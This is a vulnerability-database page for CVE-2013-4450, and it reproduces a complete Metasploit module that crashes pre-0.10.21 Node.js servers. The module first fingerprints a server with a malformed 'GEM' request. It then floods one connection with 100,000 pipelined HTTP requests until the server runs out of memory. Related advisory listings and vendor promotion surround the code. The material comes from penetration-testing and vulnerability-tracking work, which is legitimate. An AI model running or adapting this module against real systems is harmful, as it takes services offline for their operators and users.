Lucene search
K

Node.js HTTP Pipelining Denial of Service

🗓️ 22 Oct 2013 19:12:14Reported by Marek Majkowski, titanous, joev <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 56 Views

Node.js HTTP Pipelining Denial of Service in versions before 0.10.21 and 0.8.26 allows unbounded memory allocation through pipelined HTTP requests, triggering DoS

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2013-4450
29 May 201815:50
circl
CVE
CVE-2013-4450
21 Oct 201317:00
cve
Cvelist
CVE-2013-4450
21 Oct 201317:00
cvelist
Debian CVE
CVE-2013-4450
21 Oct 201317:00
debiancve
Fedora
[SECURITY] Fedora 19 Update: libuv-0.10.18-1.fc19
29 Oct 201303:31
fedora
Fedora
[SECURITY] Fedora 19 Update: nodejs-0.10.21-1.fc19
29 Oct 201303:31
fedora
Fedora
[SECURITY] Fedora 18 Update: libuv-0.10.18-1.fc18
29 Oct 201303:36
fedora
Fedora
[SECURITY] Fedora 18 Update: nodejs-0.10.21-1.fc18
29 Oct 201303:36
fedora
Fedora
[SECURITY] Fedora 20 Update: libuv-0.10.18-1.fc20
10 Nov 201307:46
fedora
Fedora
[SECURITY] Fedora 20 Update: nodejs-0.10.21-1.fc20
10 Nov 201307:46
fedora
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Node.js HTTP Pipelining Denial of Service',
      'Description'    => %q{
        This module exploits a Denial of Service (DoS) condition in the HTTP parser of Node.js versions
        released before 0.10.21 and 0.8.26. The attack sends many pipelined
        HTTP requests on a single connection, which causes unbounded memory
        allocation when the client does not read the responses.
      },
      'Author'         =>
        [
          'Marek Majkowski', # Vulnerability discovery
          'titanous',        # Metasploit module
          'joev'             # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-4450' ],
          [ 'OSVDB', '98724' ],
          [ 'BID' , '63229' ],
          [ 'URL', 'https://nodejs.org/ja/blog/vulnerability/http-server-pipeline-flood-dos/' ]
        ],
      'DisclosureDate' => '2013-10-18'))

    register_options(
      [
        Opt::RPORT(80),
        OptInt.new('RLIMIT', [true,  "Number of requests to send", 100000])
      ],
    self.class)
  end

  def check
    # http://blog.nodejs.org/2013/08/21/node-v0-10-17-stable/
    # check if we are < 0.10.17 by seeing if a malformed HTTP request is accepted
    status = Exploit::CheckCode::Safe
    connect
    sock.put(http_request("GEM"))
    begin
      response = sock.get_once
      status = Exploit::CheckCode::Appears if response =~ /HTTP/
    rescue EOFError
      # checking against >= 0.10.17 raises EOFError because there is no
      # response to GEM requests
      vprint_error("Failed to determine the vulnerable state due to an EOFError (no response)")
      return Msf::Exploit::CheckCode::Unknown
    ensure
      disconnect
    end
    status
  end

  def host
      host = datastore['RHOST']
      host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80
      host
  end

  def http_request(method='GET')
    "#{method} / HTTP/1.1\r\nHost: #{host}\r\n\r\n"
  end

  def run
    payload = http_request
    begin
      print_status("Stressing the target memory...")
      connect
      datastore['RLIMIT'].times { sock.put(payload) }
      print_status("Attack finished. If you read it, it wasn't enough to trigger an Out Of Memory condition.")
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_status("Unable to connect to #{host}.")
    rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error
      print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached")
    ensure
      disconnect
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Feb 2022 23:22Current
0.5Low risk
Vulners AI Score0.5
CVSS 25
EPSS0.68714
56